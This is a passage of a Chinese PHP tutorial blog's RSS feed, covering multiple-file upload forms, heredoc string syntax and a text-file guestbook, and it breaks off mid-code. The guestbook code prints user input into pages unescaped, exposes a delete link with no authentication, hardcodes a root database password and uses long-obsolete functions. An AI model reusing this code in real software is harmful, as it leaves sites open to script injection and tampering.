<p>有两个思路，是同一个方法的两种实现。具体程序还需自己去设计。　　<br />
1、在form中设置多个文件输入框，用数组命名他们的名字，如下：</p>
<p>＜form action=”" method=post＞<br />
＜input type=file name=usefile[]＞<br />
＜input type=file name=usefile[]＞<br />
＜input type=file name=usefile[]＞<br />
＜/form＞<br />
　　<br />
这样，在服务器端做以下测试：echo “＜pre＞”;print_r($_FILES);echo “＜/pre＞”;　　</p>
<p>2、在form中设置多个文件输入框，但名字不同，如下：</p>
<p>＜form action=”" method=post＞<br />
＜input type=file name=usefile_a＞<br />
＜input type=file name=usefile_b＞<br />
＜input type=file name=usefile_c＞<br />
＜/form＞　</p>
<p>　在服务器端做同样测试：echo “＜pre＞”;print_r($_FILES);echo “＜/pre＞”;</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/webshelleechueeee.html" title="Webshell下破解计算机管理员密码">Webshell下破解计算机管理员密码</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题">深入探讨PHP中的内存管理问题</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aoeempirebakeebshell.html" title="帝国备份王(Empirebak)拿webshell">帝国备份王(Empirebak)拿webshell</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术">XMLHTTP对象封装技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/nginxderewriteguize.html" title="nginx的rewrite规则">nginx的rewrite规则</a> (1)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/apache2" title="apache2" rel="tag">apache2</a>, <a href="http://www.5bay.cn/tag/code" title="code" rel="tag">code</a>, <a href="http://www.5bay.cn/tag/iis60" title="iis6.0" rel="tag">iis6.0</a>, <a href="http://www.5bay.cn/tag/include" title="include" rel="tag">include</a>, <a href="http://www.5bay.cn/tag/mysql" title="mysql" rel="tag">mysql</a>, <a href="http://www.5bay.cn/tag/path" title="path" rel="tag">path</a>, <a href="http://www.5bay.cn/category/network-programming/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/phpini" title="php.ini" rel="tag">php.ini</a>, <a href="http://www.5bay.cn/tag/server" title="server" rel="tag">server</a>, <a href="http://www.5bay.cn/tag/session" title="session" rel="tag">session</a>, <a href="http://www.5bay.cn/tag/sql" title="sql" rel="tag">sql</a>, <a href="http://www.5bay.cn/tag/url" title="url" rel="tag">url</a>, <a href="http://www.5bay.cn/tag/web" title="web" rel="tag">web</a>, <a href="http://www.5bay.cn/tag/%E4%B8%8A%E4%BC%A0" title="上传" rel="tag">上传</a>, <a href="http://www.5bay.cn/tag/%E4%B8%AD%E6%96%87" title="中文" rel="tag">中文</a>, <a href="http://www.5bay.cn/tag/%E5%85%BC%E5%AE%B9" title="兼容" rel="tag">兼容</a>, <a href="http://www.5bay.cn/tag/%E5%88%9D%E5%AD%A6%E8%80%85" title="初学者" rel="tag">初学者</a>, <a href="http://www.5bay.cn/tag/%E5%8C%BA%E5%88%AB" title="区别" rel="tag">区别</a>, <a href="http://www.5bay.cn/tag/%E5%A4%B1%E8%B4%A5" title="失败" rel="tag">失败</a>, <a href="http://www.5bay.cn/tag/%E5%AF%86%E7%A0%81" title="密码" rel="tag">密码</a>, <a href="http://www.5bay.cn/tag/%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F" title="应用程序" rel="tag">应用程序</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE%E5%BA%93" title="数据库" rel="tag">数据库</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/tag/%E7%89%88%E6%9C%AC" title="版本" rel="tag">版本</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/tag/%E7%BD%91%E7%AB%99" title="网站" rel="tag">网站</a>, <a href="http://www.5bay.cn/category/network-programming" title="网络编程" rel="tag">网络编程</a>, <a href="http://www.5bay.cn/tag/%E8%A7%A3%E5%86%B3" title="解决" rel="tag">解决</a>, <a href="http://www.5bay.cn/tag/%E8%A7%A3%E5%86%B3%E6%96%B9%E6%B3%95" title="解决方法" rel="tag">解决方法</a>, <a href="http://www.5bay.cn/tag/%E8%AE%BE%E8%AE%A1" title="设计" rel="tag">设计</a>, <a href="http://www.5bay.cn/tag/e" title="诫" rel="tag">诫</a>, <a href="http://www.5bay.cn/tag/%E9%82%AE%E4%BB%B6" title="邮件" rel="tag">邮件</a>, <a href="http://www.5bay.cn/tag/%E9%94%99%E8%AF%AF" title="错误" rel="tag">错误</a>, <a href="http://www.5bay.cn/tag/%E9%A1%B5%E9%9D%A2" title="页面" rel="tag">页面</a>, <a href="http://www.5bay.cn/tag/%e9%aa%8c%e8%af%81" title="验证" rel="tag">验证</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/network-programming/eeeeeeee.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>php的文档句法(heredoc)</title>
		<link>http://www.5bay.cn/network-programming/phpeefangeredoc.html</link>
		<comments>http://www.5bay.cn/network-programming/phpeefangeredoc.html#comments</comments>
		<pubDate>Sun, 25 Jul 2010 17:18:49 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[网络编程]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[函数]]></category>
		<category><![CDATA[区别]]></category>
		<category><![CDATA[常用]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[数据库]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[浏览器]]></category>
		<category><![CDATA[类]]></category>
		<category><![CDATA[诫]]></category>
		<category><![CDATA[连接]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=497</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/phpeefangeredoc.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>不多说了，看代码。自己体会 &#60;?php echo “濙水河边的PHP演示”; echo “&#60;br&#62;”; $db=mysql_connect(“localhost”,”root”,”123456&#8243;); mysql_select_db(“jaycee”,$db); $rs=mysql_query(“select * from gbook”,$db); while($row=mysql_fetch_row($rs)) { echo &#60;&#60;&#60; eod &#60;table width=”99%” border=”1&#8243; cellspacing=”0&#8243; cellpadding=”0&#8243;&#62; &#60;tr&#62; &#60;td&#62;$row[0]&#60;/td&#62; &#60;td&#62;$row[1]&#60;/td&#62; &#60;/tr&#62; &#60;tr&#62; &#60;td&#62;$row[2]&#60;/td&#62; &#60;td&#62;$row[3]&#60;/td&#62; &#60;/tr&#62; &#60;/table&#62; eod; } ?&#62; &#60;&#60;&#60;也就是可以让我们在PHP代码内实现一大段的HTML代码，并且可以在其中，使用PHP变量。 淡水河边这厮，找到许多PHP入门呀，php起步呀＝＝的书，从没提到用到这个。郁闷，用不到么？ 居然不提。愤怒！ 淡水河边看的书上叫它文档句法,又称定界符.它的语法是”&#60;&#60;&#60;”。用法是在其后提供一个标识符，然后在标识符后提供字符串，再在字符串后提供此标识符来结尾。注意，淡水河边这厮这里用的标志符是EOD，结束的那个标志要顶头写，不能有缩进和空格. 字符串的操作 1. 字符串的表现形式 在大部分语言里，双引号是字符串，单引号是字符。但是在PHP里，字符串的表现形式有3种。即： 单引号 双引号 定界符（heredoc syntax） 看见了吧，单引号居然可以用来表示字符串。那么如果我想表示单引号怎么办？和大多数语言一样，使用转义符号吧。即反斜线”\”.那么使用单引号和双引号有什么区别呢？我的观点是没有多大区别。唯一的区别就是双引号可以应用更多的转义符。 让我们定界符吧。它的语法是”&#60;&#60;&#60;”。用法是在其后提供一个标识符，然后在标识符后提供字符串，再在字符串后提供此标识符来结尾。例如： &#60;?php $str= &#60;&#60;&#60;EOD Hello, this is an [...]]]></description>
			<content:encoded><![CDATA[<p>不多说了，看代码。自己体会</p>
<p>&lt;?<a href="http://www.5bay.cn/tag/php" class="st_tag internal_tag" rel="tag" title="标签 PHP 下的日志">php</a><br />
echo “濙水河边的PHP演示”;<br />
echo “&lt;br&gt;”;<br />
$db=<a href="http://www.5bay.cn/tag/mysql" class="st_tag internal_tag" rel="tag" title="标签 mysql 下的日志">mysql</a>_connect(“localhost”,”root”,”123456&#8243;);<br />
mysql_select_db(“jaycee”,$db);<br />
$rs=mysql_query(“select * from gbook”,$db);<br />
while($row=mysql_fetch_row($rs))<br />
{<br />
echo &lt;&lt;&lt; eod<br />
&lt;table width=”99%” border=”1&#8243; cellspacing=”0&#8243; cellpadding=”0&#8243;&gt;<br />
&lt;tr&gt;<br />
&lt;td&gt;$row[0]&lt;/td&gt;<br />
&lt;td&gt;$row[1]&lt;/td&gt;<br />
&lt;/tr&gt;<br />
&lt;tr&gt;<br />
&lt;td&gt;$row[2]&lt;/td&gt;<br />
&lt;td&gt;$row[3]&lt;/td&gt;<br />
&lt;/tr&gt;<br />
&lt;/table&gt;<br />
eod;<br />
}<br />
?&gt;</p>
<p>&lt;&lt;&lt;也就是可以让我们在PHP代码内实现一大段的HTML代码，并且可以在其中，使用PHP变量。</p>
<p>淡水河边这厮，找到许多PHP入门呀，php起步呀＝＝的书，从没提到用到这个。郁闷，用不到么？</p>
<p>居然不提。愤怒！ <span id="more-497"></span></p>
<p>淡水河边看的书上叫它文档句法,又称定界符.它的语法是”&lt;&lt;&lt;”。用法是在其后提供一个标识符，然后在标识符后提供字符串，再在字符串后提供此标识符来结尾。注意，淡水河边这厮这里用的标志符是EOD，结束的那个标志要顶头写，不能有缩进和空格.</p>
<p>字符串的操作</p>
<p>1. 字符串的表现形式</p>
<p>在大部分语言里，双引号是字符串，单引号是字符。但是在PHP里，字符串的表现形式有3种。即：</p>
<p>单引号</p>
<p>双引号</p>
<p>定界符（heredoc syntax）</p>
<p>看见了吧，单引号居然可以用来表示字符串。那么如果我想表示单引号怎么办？和大多数语言一样，使用转义符号吧。即反斜线”\”.那么使用单引号和双引号有什么区别呢？我的观点是没有多大区别。唯一的区别就是双引号可以应用更多的转义符。<br />
让我们定界符吧。它的语法是”&lt;&lt;&lt;”。用法是在其后提供一个标识符，然后在标识符后提供字符串，再在字符串后提供此标识符来结尾。例如：</p>
<p>&lt;?php<br />
$str= &lt;&lt;&lt;EOD<br />
Hello, this is an example for HEREDOC Syntax.<br />
Please attention to it.<br />
EOD;<br />
echo $str;<br />
?&gt;</p>
<p>注意，这里的提供的标志符是EOD，中间的是字符串。</p>
<p>2. 字符串的特别之处</p>
<p>从一个例子开始。</p>
<p>假设里你有很长的一段字符串，比如一段话。几个月后，你发现你的需求改变，需要在这段话的某个位置插入一个变量。这个时候如果重新用字符串符肯定是相当复杂的。那么有没有其他的方法呢？请放心，PHP已经考虑到这一点了。那就是花括号的应用。</p>
<p>对于PHP，它一般会按照如下规则解析：</p>
<p>如果遇到美元符号（$），解析器会尽可能多地取得后面的字符以组成一个合法的变量名。如果想明示指定名字的结束，用花括号把变量名括起来。例如</p>
<p>&lt;?php<br />
$beer = “Heineken”;<br />
echo “$beer”s taste is great”; // works, “”" is an invalid character for varnames<br />
echo “He drank some $beers”; // won”t work, “s” is a valid character for varnames<br />
echo “He drank some ${beer}s”; // works<br />
echo “He drank some {$beer}s”; // works<br />
?&gt;</p>
<p>看看第3，4行。第三行的$beer”s其实是$beer 后加“‘s”。因为这里的“’”对于变量命名来说是一个无效字符。但是第4行的$beers就不一样了。所以$beers是无效的。<br />
除了上面的,你还会注意到地5，6行的${beer}以及{$beer｝。对于PHP来说它们都是合法的。</p>
<p>但是你必须注意一点，${beer}以及{$beer｝的$和｛必须是紧挨的。不然｛就会当成｛字符看待了。</p>
<p>3，字符串的常用操作。</p>
<p>我想这是令我们异常激动的一个话题，并且也是非常实用的。</p>
<p>字符串的函数比较多，我们还是介绍一部分函数吧。</p>
<p>字符串的整理函数</p>
<p>chop(),其实就是rtrim().当然rtrim()还是可以用的</p>
<p>ltrim(),去掉字符串左边的多于空格。</p>
<p>trim(),这个比较比较简单，就是把字符串左右2边的空格都给删除。</p>
<p>字符串的格式化输出</p>
<p>实用HTML格式化的。nl2br().即在字符串的新一行前插入&lt;br&gt;.</p>
<p>&lt;?php<br />
echo nl2br(“foo isn”t\n bar”);<br />
?&gt;</p>
<p>上面的字符串会分2行显示，如果把此函数去掉，就只在一行上显示了。</p>
<p>打印输出的格式化。</p>
<p>PHP支持print()函数，它和echo一样，唯一的差别就是print()返回一个整型值，一直为1。除了print(),还有printf()和sprintf(). 写到这里，你肯定会想，怎么和C一样呢。它们的工作方式一样，差别是printf()将结果输出到浏览器，而sprintf()这是输出到变量。</p>
<p>看看它们的定义吧。</p>
<p>int printf ( string format [, mixed args [, mixed ]] )</p>
<p>string sprintf ( string format [, mixed args [, mixed ]] )</p>
<p>改变字符串的大小写。</p>
<p>strtolower将字符串变为小写</p>
<p>strtoupper将字符串变为大写</p>
<p>ucfirst将字符串的第一个字符大写。</p>
<p>ucwords 将字符串中的每一个单词的第一个字符变为大写。</p>
<p>格式化字符，以便存储。</p>
<p>其实就是为了替换引号，反斜杠，NULL等，因为它们有的时候不适合于很多场合，比如存储到数据库。为了达到目的，addslashes是一个不错的选择，它使用反斜线引用字符串。为了在显示数据，需要在之前调用stripslashes，否则反斜杠会显示出来的。</p>
<p>字符串比较</p>
<p>strcmp,strcasecmp,strnatcmp,有时间再查一下</p>
<p>字符串长度请调用strlen.</p>
<p>字符串连接与分割</p>
<p>explode类似于C#里的Split函数。例如：</p>
<p>&lt;?php<br />
$str = “Is yours name reilly?”;<br />
$var=explode(” “,$str);<br />
echo $var[0];//输出：Is<br />
echo $var[1];//输出:yours<br />
?&gt;</p>
<p>implode()和join()提供的功能一样，正好与explode()相反，它们将多个字符换合并起来。</p>
<p>strtok()和split类似，但是它一次只取出一个。</p>
<p>为了取得子字符串，调用substr()吧。</p>
<p>查找字符串中的字符串</p>
<p>可以调用strstr(),strchr(),strrchr()以及stristr().记住，strchr()是strstr()的别名，查找第一次出现的地方。strrchr()，查找最后一个字符串出现的地方。</p>
<p>stristr()和strstr()的区别是前者不区分大小写。</p>
<p>查找字符串的位置可以使用strpos()以及strrpos().</p>
<p>替换的话，调用str_replace()以及substr_replace().</p>
<p>以上介绍都是最常用的，如果想得到更多字符串的函数以及函数的信息，参考PHP的函数文档。</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpfengzhuangchangyongjavascriptweijsleiyibiankuaisudiaoyong.html" title="PHP封装常用Javascript为JS类以便快速调用">PHP封装常用Javascript为JS类以便快速调用</a> (1)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/eacceleratoryumemcachedequbieyuyongtu.html" title="eAccelerator与memcache的区别与用途">eAccelerator与memcache的区别与用途</a> (2)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aoeempirebakeebshell.html" title="帝国备份王(Empirebak)拿webshell">帝国备份王(Empirebak)拿webshell</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajax.html" title="AJAX的各种控件和类库">AJAX的各种控件和类库</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpzhongdememcachehanshukumemcachefunctions.html" title="PHP中的Memcache函数库（Memcache Functions）">PHP中的Memcache函数库（Memcache Functions）</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术">XMLHTTP对象封装技术</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/html" title="html" rel="tag">html</a>, <a href="http://www.5bay.cn/tag/mysql" title="mysql" rel="tag">mysql</a>, <a href="http://www.5bay.cn/category/network-programming/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/sql" title="sql" rel="tag">sql</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%87%BD%E6%95%B0" title="函数" rel="tag">函数</a>, <a href="http://www.5bay.cn/tag/%E5%8C%BA%E5%88%AB" title="区别" rel="tag">区别</a>, <a href="http://www.5bay.cn/tag/%E5%B8%B8%E7%94%A8" title="常用" rel="tag">常用</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE%E5%BA%93" title="数据库" rel="tag">数据库</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/tag/%E6%B5%8F%E8%A7%88%E5%99%A8" title="浏览器" rel="tag">浏览器</a>, <a href="http://www.5bay.cn/tag/%E7%B1%BB" title="类" rel="tag">类</a>, <a href="http://www.5bay.cn/category/network-programming" title="网络编程" rel="tag">网络编程</a>, <a href="http://www.5bay.cn/tag/e" title="诫" rel="tag">诫</a>, <a href="http://www.5bay.cn/tag/%E8%BF%9E%E6%8E%A5" title="连接" rel="tag">连接</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/network-programming/phpeefangeredoc.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP对文本数据库的基本操作方法</title>
		<link>http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html</link>
		<comments>http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html#comments</comments>
		<pubDate>Sun, 25 Jul 2010 16:56:38 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[网络编程]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[判断]]></category>
		<category><![CDATA[图片]]></category>
		<category><![CDATA[成功]]></category>
		<category><![CDATA[搜索]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[数据库]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[类]]></category>
		<category><![CDATA[系统]]></category>
		<category><![CDATA[获取]]></category>
		<category><![CDATA[表单]]></category>
		<category><![CDATA[诫]]></category>
		<category><![CDATA[连接]]></category>
		<category><![CDATA[页面]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=490</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>PHP实现对文本数据库的数据显示、加入、修改、删除、查询五大基本操作的方法 我用一个留言本程序作为例子，阐述PHP实现对文本数据库的数据显示、加入、修改、删除、查询五大基本操作的方法。 此文本数据库共有字段10个：客户IP、发言时间、客户名、客户EMAIL、客户主页地址、留言表情图片名、客户QQ、客户形象图片、留言内容、管理员回复内容。 1、加入数据程序段。 $date=date(“Y-m-d H:i:s”);//取得系统时间 $ip = $HTTP_SERVER_VARS[REMOTE_ADDR]; //取得发言的IP地址 $text=encode($gb_text);//去掉留言内容后面的空格. $fp=fopen(“gb.dat”,”a”);//以只写模式打开gb.dat文本文件,文件指针指向文件尾部. $str=$ip.”　”.$date.”　”.$gb_name.”　”.$gb_email.”　”.$gb_home.”　”.$face.”　”.$gb_qq.”　”.$head.”　”.$text.”　”.$reply.”\n”;//将所有留言的数据赋予变量$str，”　”的目的是用来今后作数据分割时的数据间隔符号。 fwrite($fp,$str);//将数据写入文件 fclose($fp);//关闭文件 showmessage(“留言成功!”,”index.php”,”3&#8243;);//留言成功，3秒后自动返回主界面。 其中的$gb_name 、$gb_email、$gb_home、$face、$gb_qq、$head、$gb_text、$reply是由发言表单传过来的数据。 2、数据显示程序段 ＜? if (file_exists(“gb.dat”)){//检测文件是否存在 $array=file(“gb.dat”);//将文件全部内容读入到数组$array $arr=array_reverse($array);//将$array里的数据安行翻转排列（即最后一行当第一行，依此类推）读入数组$arr的每一个单元（$arr[0]&#8230;）。 $num=count($array);//获取数组$array里的信息数(一行为一条信息) if ($num＞0){//如果信息数大于零（即文本数据库不为空） $total=ceil($num/$pagesize);//计算总页数(取最大整数,即凡有小数点都进一取整，$pagesize为预设的每页显示的信息数) if($page＜1){//如果当前页面数码号小于1 $page=1;//则赋值为1 } $number=($page-1)*$pagesize;//计算当前所显示第一个留言的数码号（数码号从零开始，主要是达到与数组单元号对应的目的） for($i=0;$i＜=$pagesize-1;$i++){//进入循环 $row=explode(“　”,$arr[$number]);//以”　”作为分割符,分割数组$arr中每第$number个单元的数据,并将这些数据赋予数组$rom list($ip,$datetime,$name,$email,$home,$face,$qq,$head,$text,$reply)=$row;//将数组$row里的单元数据按顺序赋予括号里的变量 ?＞ ＜img src=＜? echo $head ?＞ ＞//显示客户形象图片 ＜br＞ ＜font color=”#0099CC”＞昵称【＜? echo $name ?＞＜font size=”2&#8243;＞】＜br＞//显示客户名 发表于：＜? echo $datetime ?＞//显示留言发表时间 ＜br＞ ＜img [...]]]></description>
			<content:encoded><![CDATA[<p>PHP实现对文本数据库的数据显示、加入、修改、删除、查询五大基本操作的方法<br />
我用一个留言本程序作为例子，阐述PHP实现对文本数据库的数据显示、加入、修改、删除、查询五大基本操作的方法。<br />
此文本数据库共有字段10个：客户IP、发言时间、客户名、客户EMAIL、客户主页地址、留言表情图片名、客户QQ、客户形象图片、留言内容、管理员回复内容。 </p>
<p>1、加入数据程序段。 </p>
<p>$date=date(“Y-m-d H:i:s”);//取得系统时间<br />
$ip = $HTTP_SERVER_VARS[REMOTE_ADDR]; //取得发言的IP地址<br />
$text=encode($gb_text);//去掉留言内容后面的空格.<br />
$fp=fopen(“gb.dat”,”a”);//以只写模式打开gb.dat文本文件,文件指针指向文件尾部.<br />
$str=$ip.”　”.$date.”　”.$gb_name.”　”.$gb_email.”　”.$gb_home.”　”.$face.”　”.$gb_qq.”　”.$head.”　”.$text.”　”.$reply.”\n”;//将所有留言的数据赋予变量$str，”　”的目的是用来今后作数据分割时的数据间隔符号。<br />
fwrite($fp,$str);//将数据写入文件<br />
fclose($fp);//关闭文件<br />
showmessage(“留言成功!”,”index.php”,”3&#8243;);//留言成功，3秒后自动返回主界面。<br />
其中的$gb_name 、$gb_email、$gb_home、$face、$gb_qq、$head、$gb_text、$reply是由发言表单传过来的数据。<br />
<span id="more-490"></span><br />
2、数据显示程序段 </p>
<p>＜?<br />
if (file_exists(“gb.dat”)){//检测文件是否存在<br />
$array=file(“gb.dat”);//将文件全部内容读入到数组$array<br />
$arr=array_reverse($array);//将$array里的数据安行翻转排列（即最后一行当第一行，依此类推）读入数组$arr的每一个单元（$arr[0]&#8230;）。<br />
$num=count($array);//获取数组$array里的信息数(一行为一条信息)<br />
if ($num＞0){//如果信息数大于零（即文本数据库不为空）<br />
$total=ceil($num/$pagesize);//计算总页数(取最大整数,即凡有小数点都进一取整，$pagesize为预设的每页显示的信息数)<br />
if($page＜1){//如果当前页面数码号小于1<br />
$page=1;//则赋值为1<br />
}<br />
$number=($page-1)*$pagesize;//计算当前所显示第一个留言的数码号（数码号从零开始，主要是达到与数组单元号对应的目的）<br />
for($i=0;$i＜=$pagesize-1;$i++){//进入循环<br />
$row=explode(“　”,$arr[$number]);//以”　”作为分割符,分割数组$arr中每第$number个单元的数据,并将这些数据赋予数组$rom<br />
list($ip,$datetime,$name,$email,$home,$face,$qq,$head,$text,$reply)=$row;//将数组$row里的单元数据按顺序赋予括号里的变量<br />
?＞<br />
＜img src=＜? echo $head ?＞ ＞//显示客户形象图片<br />
＜br＞<br />
＜font color=”#0099CC”＞昵称【＜? echo $name ?＞＜font size=”2&#8243;＞】＜br＞//显示客户名<br />
发表于：＜? echo $datetime ?＞//显示留言发表时间<br />
＜br＞<br />
＜img src=＜? echo $face ?＞＞//显示客户留言表情图片<br />
＜? echo $name ?＞说:＜? echo $text; ?＞//显示客户留言内容<br />
＜br＞<br />
＜? echo $reply ?＞//显示回复内容<br />
＜br＞ </p>
<p>＜a href=”＜? echo $home ?＞” target=”_blank”＞访问＜? echo $name ?＞的主页＜/a＞//客户主页的超连接<br />
＜a href=”mailto:＜? echo $email ?＞”＞给＜? echo $name ?＞发信＜/a＞//客户E-MAIL的连接<br />
＜? echo $name ?＞的QQ号码是＜? echo $qq ?＞//显示客户的QQ号码<br />
＜? echo $name ?＞的IP地址为＜? echo $ip ?＞” //显示客户的IP地址<br />
＜a href=”reply.php?time=＜? echo $datetime ?＞”＞回复＜/a＞//留言回复的连接语句<br />
＜a href=”del.php?time=＜? echo $datetime ?＞”＞删除＜/a＞//留言删除的语句（以客户留言时间$datetime作为删除标识）<br />
＜br＞<br />
＜?<br />
if ($number == $num-1)//如果数组的单元号等于总留言数减一（因为单元号以零开始的，所以这意味着这是最后一条留言）<br />
{<br />
break;//跳出循环<br />
}<br />
$number = $number + 1; //数组单元号加1<br />
}//循环结束符<br />
}<br />
if ($page ＜＞ 1)//如果当前页面数码号不等于1<br />
{<br />
$back = $page &#8211; 1;//当前页面数码号减1，并将此值赋予变量$back<br />
echo “＜a href=index.php?page=1＞第一页＜/a＞”;//显示第一页的连接<br />
echo ” ＜a href=index.php?page=$back＞上一页＜/a＞” ;当前页面数码号等于$back，并显示其连接<br />
}<br />
if ($page ＜＞ $total)//如果当前页面数码号不等于总页数号（最后一页数码号）<br />
{<br />
$next = $page + 1;//当前页面数码号加1并赋予变量$next<br />
echo ” ＜a href=index.php?page=$next＞下一页＜/a＞” ;//显示下一页连接<br />
echo ” ＜a href=index.php?page=$total＞最后一页＜/a＞”; 显示最后一页连接<br />
}<br />
echo “页数：$page / $total”;//显示当前页面数码号和显示最后一页数码号<br />
echo “共有 $num 条留言”;//显示留言数信息<br />
}<br />
else {<br />
echo “＜center＞当前没有任何留言！＜/center＞”;//如果文件内容为空则显示的信息<br />
}<br />
else {<br />
